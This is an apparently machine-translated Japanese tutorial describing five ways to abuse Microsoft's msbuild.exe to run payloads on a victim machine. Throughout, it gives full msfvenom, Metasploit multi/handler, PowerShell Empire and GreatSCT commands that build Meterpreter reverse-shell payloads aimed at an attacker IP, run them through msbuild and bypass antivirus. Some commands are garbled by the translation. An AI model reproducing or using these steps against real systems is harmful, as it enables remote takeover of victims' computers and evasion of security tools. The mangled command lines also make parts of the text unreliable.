1。 msbuild.exeの紹介
Microsoft Build Engineは、アプリケーションを構築するためのプラットフォームです。 MSBuildとも呼ばれるこのエンジンは、ビルドプラットフォームがソフトウェアを処理および構築する方法を制御するプロジェクトファイルのXMLスキーマを提供します。 Visual StudioはMSBuildを使用しますが、Visual Studioに依存しません。 MSBUILD.EXEをプロジェクトまたはソリューションファイルで呼び出すことにより、Visual Studioがインストールされていない環境でプログラムをコンパイルおよび生成できます。
Visual StudioはMSBuildを使用して、管理されたプロジェクトをロードおよび生成します。 Visual Studio(.csproj、vbproj、vcxprojなど)のプロジェクトファイルには、msbuild xmlコードが含まれています。
2。攻撃方法
1。最初の方法:MSFVENOMを使用して、CSHARPファイルを生成します
Microsoft Visual Studioを使用して、MSBuild形式で保存されてMSBuildプラットフォームを使用して実行可能なものにコンパイルする *.CSPROJサフィックスを使用して、C#(Cシャープ)プログラミングプロジェクトを作成します。
悪意のあるプログラムが生成および実行されると、被害者ホストのリバースシェルを取得できます。そのため、file.csprojファイルを生成し、このために、最初にMSFvenomを介してC#のシェルコードを生成します。次に、以下に示すように、シェルコードがfile.csprojに配置されます
MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.109 LPORT=1234 -F CSHARP
上記のシェルコードはXMLファイルに配置する必要があります。 GitHubからこのXMLファイルをダウンロードできます。 MSBuildによってコンパイルおよび実行されたコードがあります。このXMLファイルは、file.csprojとして保存する必要があり、meterpreterセッションを取得するにはmsbuild経由で実行する必要があります。
注:下の図に示すように、シェルコードからシェルコード値を交換し、BUFをシェルコードに変更します:
Visual StudioまたはコマンドウィンドウからMSBuildを実行できます。 Visual Studioを使用すると、NETフレームワークの任意のバージョンでアプリケーションを実行およびコンパイルできます。
たとえば、32ビットプラットフォームで.NETフレームワーク2.0でコンパイルされたアプリケーションを実行し、64ビットプラットフォームで.NETフレームワーク4.5で同じアプリケーションをコンパイルして実行できます。複数のフレームワークにコンパイルされたタスクは、マルチオブジェクトと呼ばれます。
msbuildの詳細については、この記事のリンクをご覧ください:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015
次に、MultiProcessorを起動してMeterPreterセッションを取得し、ターゲットパスC: \ Windows \ Microsoft.net \ Framework \ V4.0.30319でmsbuild.exeを使用してfile.csprojファイルを実行します。
c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exefile.csproj
注:悪意のあるエクスプロイト(xml/csproj)c: \ windows \ microsoft.net \ framework \ v4.0.30319 \この場所で保存する必要があります。
Exploit/Multi/Handlerを使用します
MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します
MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109
MSF Exploit(Multi/Handler)Set LPort 1234
MSF Exploit(Multi/Handler)Exploit
ご覧のとおり、次のように、被害者のメータープレターセッションがあります。
2。 2番目の方法:XMLファイルを生成して、MSBUILD
を利用します上記のように、MSBuildはXMLベースのプロジェクトファイル形式を使用します。これはシンプルで拡張可能なため、生成されたfile.csprojをfile.xmlに変更し、図に示すようにMSBUILD.EXEを使用してMSBUILD.EXEを使用してfile.xmlを再度実行できます。
c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exefile.xml
Exploit/Multi/Handlerを使用します
MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します
MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109
MSF Exploit(Multi/Handler)Set LPort 1234
MSF Exploit(Multi/Handler)Exploit
ご覧のとおり、次のように、被害者のメータープレターセッションがあります。
3。 3番目の方法:nps_payloadスクリプト
このスクリプトは、基本的な侵入検出エスケープのペイロードを生成します。いくつかの異なるソースからの公共技術を利用しています。 Larry Spohn(@spoonman1091)によって書かれたペイロードは、dirty_benとしても知られるベンマウチ(@ben0xa)によって書かれています。 Githubからダウンロードできます。
NPS_Payloadは、MSBUILD.EXEおよびMSHTA.EXEを使用して実行できるペイロードを生成し、MeterPreterセッションを通じて被害者ホストの逆の接続を取得します。
以下の手順に従って、ペイロードを生成します。
GithubからNPS Exploitをダウンロードした後、/NPS_Payload.pyスクリプトを実行します
1を入力して、「MSBUILD/NPS/MSFFを生成する」オプションを選択します
もう一度入力して、ペイロードオプション「Windows/MeterPreter/Reverse_TCP」を選択します
これにより、XMLファイルでペイロードが生成され、このファイルがターゲットロケーションC: \ Windows \ Microsoft.net \ Framework \ v4.0.30319に送信されます。これは、以前の方法と同じで、新しい端末で同時にリスナーを開始します。
msfconsole -r msbuild_nps.rc
次に、上記の手順を繰り返し、コマンドプロンプトを使用してmsbuild_nps.xmlを実行し、次のようにmeterpreter経由で逆の接続を取得します。
c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exemsbuild_nps.xml
4。 4番目の方法:Powershell Empire
次のMSBuild攻撃方法では、帝国を使用します。帝国は開発後のフレームワークです。これまでのところ、XMLツールをMetasploitに一致させてきましたが、このアプローチではEmpire Frameworkを使用します。これは単なるPythonベースのPowerShell Windowsプロキシであり、非常に便利です。 Empireは、 @harmj0y、 @sixdub、 @enigam0x3、rvrsh3ll、 @killswitch_gui、@xorrierによって開発されています。このフレームワークはhttps://github.com/empireproject/empireからダウンロードできます。
帝国の基本ガイドを取得するには、記事をご覧ください。
https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
Empire Frameworkを開始した後、リスナーを入力して、アクティブなリスナーがいるかどうかを確認します。下の図に示すように、アクティブなリスナーはありません。したがって、リスナータイプを設定する必要があります
リスナー
USELISTNER HTTP
ホストhttp://192.168.1.107を設定します
実行する
上記のコマンドを使用すると、アクティブなリスナーが表示されます。戻ってリスナーを終了してPowerShellを開始します。
MSBUILD攻撃には、Stagerを使用します。帝国のStagerは、悪意のあるコードが感染したホストのプロキシを実行できるようにするコードです。したがって、このタイプの場合、次のコマンドを入力します。
UseStager Windows/Launcher_xml
リスナーhttpを設定します
実行する
UseStagerは、Launcher.xmlという名前の /TMPに保存される悪意のあるコードファイルを作成します。
ファイルが実行されると、リスナーで結果が表示されます。入力して被害者のファイルを実行します。
CD C: \ Windows \ Microsoft.net \ Framework \ v4.0.30319 \
msbuild.exe launcher.xml
セッションがあるかどうかを確認するには、入力コマンド「エージェント」を開きます。そうすることで、あなたが持っているセッションの名前が表示されます。セッションにアクセスするには、次のコマンドを入力します。
A8H14C7Lを操作します
上記のコマンドを使用すると、セッションにアクセスできます
sysinfo
5。 5番目の方法:greatsct
GreatSCTは、Metasploit Exploitを使用できるツールであり、ほとんどのアンチウイルスをバイパスできるようにします。 GreatSCTは現在、@ConsciousHackerによってサポートされています。ここからダウンロードできます:https://github.com/greatsct/greatsct
ダウンロードして実行した後、次のコマンドを入力してモジュールにアクセスします。
バイパスを使用します
次に、ペイロードリストタイプを確認します。
リスト
これで、ペイロードリストから、任意のターゲットを選択して、目的の攻撃を実行できます。しかし、この攻撃では、次のことを使用します。
msbuild/meterpreter/rev_tcp.pyを使用します
コマンドを実行した後、次のコマンドを入力してください。
LHOST 192.168.1.107を設定します
生成する
ペイロードを生成するとき、ペイロードの名前を提供するように依頼します。デフォルトでは、「ペイロード」をその名前として受け取ります。 MSBuildをエクスプロイト名として使用し、出力コードはXMLに保存されます。
これで、2つのファイルが作成されます。 Metasploit RCファイルと別のmsbuild.xmlファイル。
まず、次のコマンドを入力して、/usr/share/greatsct出力/ソースでpythonサーバーを起動します。
python -m simplehttpserver 80
次のコマンドを入力して、被害者のファイルを実行します。
CD C: \ Windows \ Microsoft.net \ Framework \ v4.0.30319 \
msbuild.exe msbuild.xml
同時に、リソースファイルを使用してマルチ/ハンドラーを起動します。これを行うには、次のコマンドを入力してください。
MSFCONSOLEL -R /USR/SHARE/GREATSCT OUTPUT/HANDLERS/PAYLOAD.RC
図:に示すように、メータープレターセッションがあります
参照記事:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017
Recommended Comments